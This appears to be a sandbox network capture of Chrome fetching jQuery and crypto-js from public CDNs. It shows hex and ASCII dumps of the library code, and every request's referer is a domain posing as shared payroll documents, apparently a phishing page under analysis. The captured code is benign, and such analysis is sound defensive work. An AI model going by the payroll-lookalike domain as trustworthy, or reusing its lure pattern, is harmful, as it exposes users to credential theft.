2025-02-14 16:23:01 UTC	1369	IN	Data Raw: 45 52 48 56 43 5a 44 70 32 61 58 4e 70 64 47 56 6b 65 32 4e 76 62 47 39 79 4f 69 4d 79 4d 7a 49 7a 4d 6a 4d 37 66 51 6f 6a 59 57 64 6d 62 32 46 34 5a 58 46 6b 65 44 70 68 59 33 52 70 64 6d 55 73 49 32 46 6e 5a 6d 39 68 65 47 56 78 5a 48 67 36 5a 6d 39 6a 64 58 4d 73 49 32 46 6e 5a 6d 39 68 65 47 56 78 5a 48 67 36 61 47 39 32 5a 58 49 73 49 30 64 7a 53 32 6c 6b 65 55 52 45 64 55 4a 6b 4f 6d 46 6a 64 47 6c 32 5a 53 77 6a 52 33 4e 4c 61 57 52 35 52 45 52 31 51 6d 51 36 5a 6d 39 6a 64 58 4d 73 49 30 64 7a 53 32 6c 6b 65 55 52 45 64 55 4a 6b 4f 6d 68 76 64 6d 56 79 65 32 4e 76 62 47 39 79 4f 69 4d 78 4e 6a 59 7a 4e 7a 6b 37 66 51 70 41 62 57 56 6b 61 57 45 67 4b 48 42 79 5a 57 5a 6c 63 6e 4d 74 59 32 39 73 62 33 49 74 63 32 4e 6f 5a 57 31 6c 4f 6d 52 68 63 6d Data Ascii: ERHVCZDp2aXNpdGVke2NvbG9yOiMyMzIzMjM7fQojYWdmb2F4ZXFkeDphY3RpdmUsI2FnZm9heGVxZHg6Zm9jdXMsI2FnZm9heGVxZHg6aG92ZXIsI0dzS2lkeUREdUJkOmFjdGl2ZSwjR3NLaWR5RER1QmQ6Zm9jdXMsI0dzS2lkeUREdUJkOmhvdmVye2NvbG9yOiMxNjYzNzk7fQpAbWVkaWEgKHByZWZlcnMtY29sb3Itc2NoZW1lOmRhcm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49733	151.101.66.137	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:23:02 UTC	662	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-14 16:23:02 UTC	615	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 14 Feb 2025 16:23:02 GMT Age: 3303268 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740035-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 171 X-Timer: S1739550182.076545,VS0,VE0 Vary: Accept-Encoding
2025-02-14 16:23:02 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-02-14 16:23:02 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-02-14 16:23:02 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-02-14 16:23:02 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-02-14 16:23:02 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-02-14 16:23:02 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-02-14 16:23:02 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-02-14 16:23:02 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-02-14 16:23:02 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-02-14 16:23:02 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49735	104.17.25.14	443	3968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 16:23:02 UTC	690	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-14 16:23:02 UTC	971	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 16:23:02 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1918055 Expires: Wed, 04 Feb 2026 16:23:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tTS%2F%2Bz%2BNI0O61b%2Bm%2BkGZCSnmpzoK8XF1UbisfQSQnoNkYmOouNKDg0N%2FF8z4p3IENbktx6xZ%2Bp2hb3aBCrr0MkvzFVf%2BvqdTJ0slyCBv3xhgtPy3w6oq%2Bj1K9qCMn4CsXdUiwm1n"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 911e667e2e268cec-EWR alt-svc: h3=":443"; ma=86400
2025-02-14 16:23:02 UTC	398	IN	Data Raw: 37 62 65 36 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7be6!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 Data Ascii: ined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 72 20 74 3d 6f 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 Data Ascii: r t=o.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 Data Ascii: "string"==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for
2025-02-14 16:23:02 UTC	1369	IN	Data Raw: 69 6f 6e 20 4e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d Data Ascii: ion N(){for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]
